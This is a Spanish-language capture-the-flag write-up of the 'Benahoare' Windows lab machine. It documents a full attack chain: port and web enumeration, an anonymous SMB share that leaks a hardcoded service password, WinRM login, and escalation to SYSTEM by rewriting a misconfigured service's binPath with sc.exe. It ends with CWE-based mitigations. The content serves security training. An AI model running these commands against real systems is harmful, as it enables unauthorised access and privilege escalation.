‹ cd4cwj / writeups
root@cd4cwj:~$ cat writeups/benahoare.md

Benahoare

windowssmbdacl

Benahoare

Máquina: The Hackers Labs — Benahoare (empresa ficticia “El Guanche Security S.L.”) SO: Windows Server 2019 Standard (Build 17763), hostname BENAHOARE-THL Nivel: Principiante Vector de entrada: Correlación de dos fuentes → una API de diagnóstico sin autenticar (puerto 8080) filtra el nombre de la cuenta de servicio (svc_camaras) + un recurso SMB compartido de forma anónima filtra su contraseña en claro (C4m4ras2023!) → acceso remoto por WinRM Escalada de privilegios: servicio de Windows GuancheVMS (corre como LocalSystem) con una DACL mal configurada que concede a un usuario sin privilegios el permiso SERVICE_CHANGE_CONFIG → se reescribe el binPath del servicio para ejecutar un comando arbitrario como SYSTEM Herramientas principales: VirtualBox (virtualización), arp-scan/nmap (reconocimiento), whatweb/gobuster/curl (enumeración web), smbclient (SMB anónimo), netexec (nxc) + evil-winrm (validación de credenciales y ejecución remota), sc.exe (consulta y reconfiguración del servicio Windows), pandoc+weasyprint (generación del PDF).

Resumen de flags

Flag Valor Obtenida en
user.txt ████████████ WinRM como svc_camaras (Fase 4)
root.txt ████████████ Abuso de la DACL del servicio GuancheVMS → SYSTEM (Fase 5)

Glosario rápido

Herramientas necesarias


Fase 0 — Preparación del laboratorio

Se descargó el .ova oficial de TheHackersLabs (comprimido en un .zip) y se dejó en la carpeta del proyecto. Un .ova es un “paquete” que contiene la definición de la máquina virtual + su disco.

# (si viene comprimido) descomprimir
unzip "TheHackersLabs - Benahoare.zip"

# Inspeccionar la appliance antes de importar (no cambia nada, solo muestra qué se va a crear)
VBoxManage import "TheHackersLabs - Benahoare.ova" --dry-run

# Importar de verdad
VBoxManage import "TheHackersLabs - Benahoare.ova"

Por defecto la tarjeta de red de estas VMs suele quedar en modo NAT (o apuntando a una NAT-network que no existe en nuestro equipo), lo que impide que Kali llegue a la máquina. Igual que en todas las máquinas anteriores del laboratorio, se pasa la tarjeta a host-only sobre el adaptador vboxnet0 (red 192.168.56.0/24, con el host en 192.168.56.1 y un servidor DHCP que reparte de .101 a .254):

VBoxManage modifyvm "TheHackersLabs - Benahoare" --nic1 hostonly --hostonlyadapter1 vboxnet0

Se arranca la VM en modo headless (sin ventana gráfica, corre en segundo plano):

VBoxManage startvm "TheHackersLabs - Benahoare" --type headless

Para reproducir desde cero, con la VM apagada:

VBoxManage controlvm "TheHackersLabs - Benahoare" poweroff
VBoxManage startvm "TheHackersLabs - Benahoare" --type headless

Fase 1 — Reconocimiento: encontrar la IP y los puertos

1.1 Localizar la IP de la VM

Como la VM pide su IP por DHCP, no la sabemos de antemano. Barremos la red host-only con ARP (funciona aunque Windows no responda al ping):

sudo arp-scan -I vboxnet0 192.168.56.0/24

-I vboxnet0 le dice a arp-scan que use la interfaz de la red host-only. Cada VM tiene una MAC única (VirtualBox las genera empezando por 08:00:27:...), así que identificamos la de Benahoare por su MAC:

192.168.56.107   08:00:27:ba:19:d0   (Oracle VirtualBox virtual NIC)

Objetivo: 192.168.56.107. (Truco para diferenciarla si hay varias VMs encendidas: VBoxManage showvminfo "TheHackersLabs - Benahoare" --machinereadable | grep -i macaddress1 te da la MAC exacta de esta máquina.)

1.2 Escaneo de puertos

Primero, todos los puertos TCP a alta velocidad para no dejarnos nada:

sudo nmap -p- --min-rate 3000 -T4 -Pn -n 192.168.56.107 -oN nmap-allports.txt

Puertos abiertos:

80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5985/tcp  open  wsman            (WinRM)
8080/tcp  open  http-proxy
49667/tcp open  unknown          (RPC dinámico)

Luego, detección de versiones y scripts solo en los puertos interesantes:

sudo nmap -sCV -p 80,135,139,445,5985,8080 -Pn -n 192.168.56.107 -oN nmap-services.txt

Lo relevante:

80/tcp   IIS httpd 10.0   | http-title: El Guanche Security · Central de Videovigilancia
445/tcp  microsoft-ds     | nbstat: NetBIOS name: BENAHOARE-THL
5985/tcp Microsoft HTTPAPI 2.0 (WinRM)
8080/tcp IIS httpd 10.0   | http-title: 403 - Forbidden: Access is denied.
Service Info: OS: Windows; Server 2019

Interpretación: una web pública en el 80 (la fachada de la empresa de videovigilancia), una segunda web en el 8080 que devuelve 403 en la raíz (hay algo detrás de una ruta concreta), SMB en el 445 y WinRM en el 5985 (nuestra futura puerta de entrada si conseguimos credenciales).


Fase 2 — Enumeración web

2.1 La web principal (puerto 80)

whatweb http://192.168.56.107/
curl -s http://192.168.56.107/ | head -60

whatweb confirma Microsoft-IIS/10.0, título “El Guanche Security · Central de Videovigilancia” y un correo de contacto: [email protected]. La página tiene un formulario de login, pero mirando el HTML es un señuelo (un comentario del propio código lo llama “Access panel (login decoy)”): no lleva a ningún sitio útil. La pista de verdad está en otra parte.

2.2 Buscar rutas no enlazadas (el panel de tickets)

La descripción del reto habla de un “panel de tickets de soporte no enlazado públicamente”. Como no hay enlaces hacia él, hay que adivinar la ruta por fuerza bruta de directorios:

gobuster dir -u http://192.168.56.107/ -w /usr/share/wordlists/dirb/common.txt -x php,html,aspx,txt -q -t 40

Resultado clave:

/Support             (Status: 301) [--> http://192.168.56.107/Support/]

Visitamos /support/:

curl -s http://192.168.56.107/support/ | sed 's/<[^>]*>//g' | grep -vE "^\s*$"

(sed 's/<[^>]*>//g' borra las etiquetas HTML para leer solo el texto.) Es un sistema interno de tickets de la central de videovigilancia, con un aviso: “⚠ Página de uso interno. No debería ser accesible desde el exterior — pendiente de mover tras el portal autenticado (ver ticket #4471).” Los tickets son oro puro para correlacionar:

2.3 La API de diagnóstico (puerto 8080)

La raíz del 8080 da 403, pero el ticket #4468 nos regaló la ruta:

curl -s http://192.168.56.107:8080/api/diagnostics.json | python3 -m json.tool

Respuesta (recortada):

{
    "service": "GuancheVMS Diagnostics API",
    "host": {
        "hostname": "BENAHOARE-THL",
        "os": "Windows Server 2019 Standard",
        "service_account": "svc_camaras",
        "install_path": "C:\\Program Files\\GuancheVMS"
    },
    "notes": "Diagnostics endpoint. Internal use only. Do not expose service_account in production responses (ticket #4468)."
}

Pieza 1 conseguida: el usuario svc_camaras (la cuenta de servicio), más un dato clave para después: el servicio se llama GuancheVMS y está instalado en C:\Program Files\GuancheVMS. Nos falta su contraseña.


Fase 3 — Enumeración SMB anónima (la contraseña)

Listamos los recursos compartidos sin credenciales (sesión nula). smbclient -N = “sin contraseña”:

smbclient -N -L //192.168.56.107
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
Soporte_Tecnico Disk      Scripts y manuales de soporte

ADMIN$ y C$ son administrativos (no accesibles sin ser admin), pero Soporte_Tecnico tiene pinta de ser el “recurso compartido de soporte” del ticket #4470. Nos conectamos anónimamente y lo descargamos entero:

smbclient -N //192.168.56.107/Soporte_Tecnico -c 'recurse ON; ls'                 # listar
smbclient -N //192.168.56.107/Soporte_Tecnico -c 'prompt OFF; recurse ON; mget *' # descargar todo

Contenido:

nota_soporte.txt        (89 bytes)
Reiniciar-Camaras.ps1   (541 bytes)
cat nota_soporte.txt
cat Reiniciar-Camaras.ps1

nota_soporte.txt:

Si las camaras dejan de responder, ejecutar el script de reinicio. Ref: ticket #4470

Reiniciar-Camaras.ps1 (recortado):

# Autor: Rayco (Sistemas)
# Credenciales de la cuenta de servicio de camaras
$password = ConvertTo-SecureString "C4m4ras2023!" -AsPlainText -Force
Restart-Service -Name "GuancheVMS" -Force

Pieza 2 conseguida: la contraseña C4m4ras2023! en claro, hardcodeada en un script de PowerShell dejado en un recurso accesible por cualquiera.


Fase 4 — Correlación y acceso: WinRM como svc_camaras (user.txt)

Juntamos las dos piezas de fuentes distintas:

Validamos las credenciales contra SMB y WinRM con netexec:

nxc smb   192.168.56.107 -u 'svc_camaras' -p 'C4m4ras2023!'
nxc winrm 192.168.56.107 -u 'svc_camaras' -p 'C4m4ras2023!'
SMB    192.168.56.107  445   BENAHOARE-THL  [+] BENAHOARE-THL\svc_camaras:C4m4ras2023!
WINRM  192.168.56.107  5985  BENAHOARE-THL  [+] BENAHOARE-THL\svc_camaras:C4m4ras2023! (Pwn3d!)

(Pwn3d!) = las credenciales sirven para abrir shell por WinRM. Comprobamos a qué grupos pertenece el usuario:

nxc winrm 192.168.56.107 -u svc_camaras -p 'C4m4ras2023!' -X 'whoami /groups'

Está en BUILTIN\Remote Management Users (por eso puede usar WinRM) y en BUILTIN\Users (usuario sin privilegios). Leemos la flag de usuario:

nxc winrm 192.168.56.107 -u svc_camaras -p 'C4m4ras2023!' -X 'Get-Content C:\Users\svc_camaras\Desktop\user.txt'

user.txt = ████████████ (la flag “guiña” al vector: diagnostics API leaks svc)

Nota práctica: en esta máquina la shell cmd está capada para WinRM (has no 'Invoke' rights ... shell type: cmd), pero PowerShell sí funciona. Por eso todos los comandos remotos van con nxc ... -X '<PowerShell>' (la -X mayúscula ejecuta PowerShell). Alternativa interactiva: evil-winrm -i 192.168.56.107 -u svc_camaras -p 'C4m4ras2023!'.


Fase 5 — Escalada de privilegios: DACL de servicio → SYSTEM (root.txt)

La idea: svc_camaras es un usuario normal, pero si algún servicio que corre como SYSTEM tiene permisos mal puestos, podemos abusar de él. El candidato obvio es GuancheVMS (lo vimos en la API y en el script).

5.1 Enumerar el servicio

nxc winrm 192.168.56.107 -u svc_camaras -p 'C4m4ras2023!' -X 'sc.exe qc GuancheVMS'
SERVICE_NAME: GuancheVMS
    BINARY_PATH_NAME   : C:\Program Files\GuancheVMS\GuancheVMS.exe
    START_TYPE         : 2   AUTO_START
    SERVICE_START_NAME : LocalSystem      <-- corre como SYSTEM

El servicio corre como LocalSystem. Ahora la pregunta clave: ¿qué permisos tengo yo sobre este servicio? Se consulta su DACL en formato SDDL:

nxc winrm 192.168.56.107 -u svc_camaras -p 'C4m4ras2023!' -X 'sc.exe sdshow GuancheVMS'
D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)
  (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
  (A;;CCLCSWLOCRRC;;;IU)
  (A;;CCLCSWLOCRRC;;;SU)
  (A;;CCDCLCSWRPWPLOCRRC;;;S-1-5-21-3365348192-2654475242-4043242444-1000)

Cómo se lee esto (sin morir en el intento): cada (A;;<permisos>;;;<quién>) es una regla de “Allow”. Los “quién” abreviados son: SY=SYSTEM, BA=Administradores, IU=usuarios interactivos, SU=cuentas de servicio. La última regla apunta a un SID concreto que termina en -1000. Comprobamos de quién es ese SID:

nxc winrm 192.168.56.107 -u svc_camaras -p 'C4m4ras2023!' -X 'whoami /user'
benahoare-thl\svc_camaras   S-1-5-21-3365348192-2654475242-4043242444-1000

¡Ese SID es el nuestro! Y sus permisos son CCDCLCSWRPWPLOCRRC. Traduciendo las abreviaturas de dos letras que importan:

Código Permiso Qué implica
CC SERVICE_QUERY_CONFIG leer la config
DC SERVICE_CHANGE_CONFIG ¡cambiar la config, incluido el binPath!
LC SERVICE_QUERY_STATUS ver el estado
RP SERVICE_START arrancar el servicio
WP SERVICE_STOP parar el servicio
RC READ_CONTROL leer la seguridad

La combinación letal es DC (cambiar configuración) + RP (arrancar) + WP (parar): podemos reescribir qué ejecuta el servicio y luego arrancarlo. Como el servicio corre como SYSTEM, ese “qué” se ejecuta como SYSTEM.

Comprobamos además el permiso sobre el archivo GuancheVMS.exe ((Get-Acl ...).AccessToString): ahí Users solo tiene ReadAndExecute, así que no podemos sobrescribir el .exe en disco. El agujero no es el archivo, es la DACL del servicio. El propio LEEME.txt del directorio lo confirma: “El instalador dejo permisos abiertos sobre el servicio para que el personal de soporte pueda reiniciarlo sin ser administrador. PENDIENTE: revisar los permisos del servicio… estaban demasiado abiertos. - Rayco”.

5.2 Abusar de la DACL

Antes de tocar nada, apuntamos el binPath original para poder revertir:

C:\Program Files\GuancheVMS\GuancheVMS.exe

Reconfiguramos el binPath para que, en vez del ejecutable real, lance un comando nuestro. Objetivo: leer root.txt (que está en el escritorio del Administrador, ilegible para svc_camaras) copiándolo con permisos de SYSTEM a un sitio que sí podamos leer:

# 1) reapuntar el binPath a un cmd que copia la flag del Administrador a nuestro escritorio
nxc winrm 192.168.56.107 -u svc_camaras -p 'C4m4ras2023!' -X \
  'sc.exe config GuancheVMS binPath= "cmd.exe /c copy /Y C:\Users\Administrator\Desktop\root.txt C:\Users\svc_camaras\Desktop\root_copy.txt"'

# 2) arrancar el servicio (ejecuta el cmd como SYSTEM) y leer la copia
nxc winrm 192.168.56.107 -u svc_camaras -p 'C4m4ras2023!' -X \
  'sc.exe start GuancheVMS; Start-Sleep -Seconds 6; Get-Content C:\Users\svc_camaras\Desktop\root_copy.txt'

Detalles importantes: - En sc config hay que dejar un espacio tras binPath= (es la sintaxis de sc.exe). - Se envuelve el comando en cmd.exe /c ... porque el SCM lanza el binPath con CreateProcess, que espera un ejecutable; cmd.exe es quien interpreta el copy. - Al arrancar, sc start devolverá FAILED 1053 (“el servicio no respondió a tiempo”). Es normal y esperado: nuestro cmd no es un servicio de verdad y no le “reporta” al SCM, pero el comando igualmente se ejecuta antes de que el SCM se dé por vencido. La prueba: la copia aparece con la flag dentro.

Resultado:

████████████

root.txt = ████████████ (la flag confirma el vector: weak service perms to system). El hecho de haber podido leer el escritorio del Administrador demuestra que el copy corrió con privilegios de SYSTEM.

5.3 Dejar la máquina como estaba (reversibilidad)

Restauramos el binPath original y borramos los archivos que dejamos caer:

nxc winrm 192.168.56.107 -u svc_camaras -p 'C4m4ras2023!' -X \
  'sc.exe config GuancheVMS binPath= "C:\Program Files\GuancheVMS\GuancheVMS.exe"; \
   Remove-Item C:\Users\svc_camaras\Desktop\root_copy.txt,C:\Users\svc_camaras\pwn.bat,C:\Users\svc_camaras\pwned.txt -Force -ErrorAction SilentlyContinue'

Verificado: sc.exe qc GuancheVMS vuelve a mostrar BINARY_PATH_NAME : C:\Program Files\GuancheVMS\GuancheVMS.exe y no quedan restos.


Diagrama de la cadena de ataque

                    ┌──────────────────────────────────────────────────────┐
                    │              192.168.56.107 (BENAHOARE-THL)            │
                    │                Windows Server 2019 · IIS               │
                    └──────────────────────────────────────────────────────┘
   [Kali]                    │            │              │             │
     │  nmap -p-             │ :80        │ :8080        │ :445        │ :5985
     ├──────────────────────┤ web +      │ API          │ SMB         │ WinRM
     │                       │ /support/  │ diagnostics  │ anónimo     │
     │                       ▼            ▼              ▼             │
     │             tickets #4468/#4470   /api/           Soporte_Tecnico
     │             (pistas: ruta API +   diagnostics.json  ├─ nota #4470
     │              hay creds en SMB)        │              └─ Reiniciar-Camaras.ps1
     │                                       │                    │
     │                              service_account          $password =
     │                               = "svc_camaras"         "C4m4ras2023!"
     │                                       │                    │
     │                                       └────────┬───────────┘
     │                                                ▼
     │                                CORRELACIÓN: svc_camaras : C4m4ras2023!
     │                                                │
     │  evil-winrm / nxc -X  ◄─────────────────────────┘
     │                                                ▼
     │                                     [ WinRM shell = svc_camaras ]  → user.txt
     │                                                │
     │                              DACL de servicio GuancheVMS concede a
     │                              svc_camaras  SERVICE_CHANGE_CONFIG (DC)
     │                                                │
     │                       sc config GuancheVMS binPath= "cmd /c copy root.txt ..."
     │                       sc start  GuancheVMS   (corre como LocalSystem)
     │                                                ▼
     │                                     [ ejecución como SYSTEM ]  → root.txt
     ▼
   PWNED (SYSTEM)

Errores reales cometidos (para que no los repitas)


Causas raíz y mitigación

# Fallo Causa raíz (CWE) Cómo se debería mitigar
1 Panel de tickets interno accesible sin login CWE-425 Forced Browsing / control de acceso ausente Poner el panel tras autenticación (lo pedía el propio ticket #4471); no confiar en que “no está enlazado” = “es secreto”.
2 API de diagnóstico sin autenticar filtrando datos del sistema CWE-306 Missing Authentication + CWE-200 Information Exposure Autenticar el endpoint; no incluir la cuenta de servicio ni rutas internas en respuestas (lo pedía el ticket #4468). auth="false" en config.xml era la bandera roja.
3 Recurso SMB compartido de forma anónima CWE-284 Improper Access Control Quitar el acceso anónimo/invitado a los shares; restringir por usuario/grupo.
4 Contraseña en claro dentro de un script CWE-798 Hard-coded Credentials + CWE-312 Cleartext Storage No hardcodear credenciales; usar cuentas gestionadas (gMSA), credential vaults o Get-Credential. Rotar la contraseña filtrada.
5 Reutilización usuario/servicio y contraseña débil CWE-521 Weak Password Requirements Contraseñas largas/rotadas; cuentas de servicio gestionadas por el sistema.
6 DACL del servicio concede SERVICE_CHANGE_CONFIG a un usuario normal CWE-732 Incorrect Permission Assignment / Insecure Service Configuration Restringir la DACL del servicio (solo Administradores/SYSTEM). Si soporte necesita reiniciarlo, conceder solo SERVICE_START/SERVICE_STOP, nunca CHANGE_CONFIG.

«El dolor y el sufrimiento son siempre inevitables para una inteligencia amplia y un corazón profundo.»
— Fiódor Dostoyevski, Crimen y castigo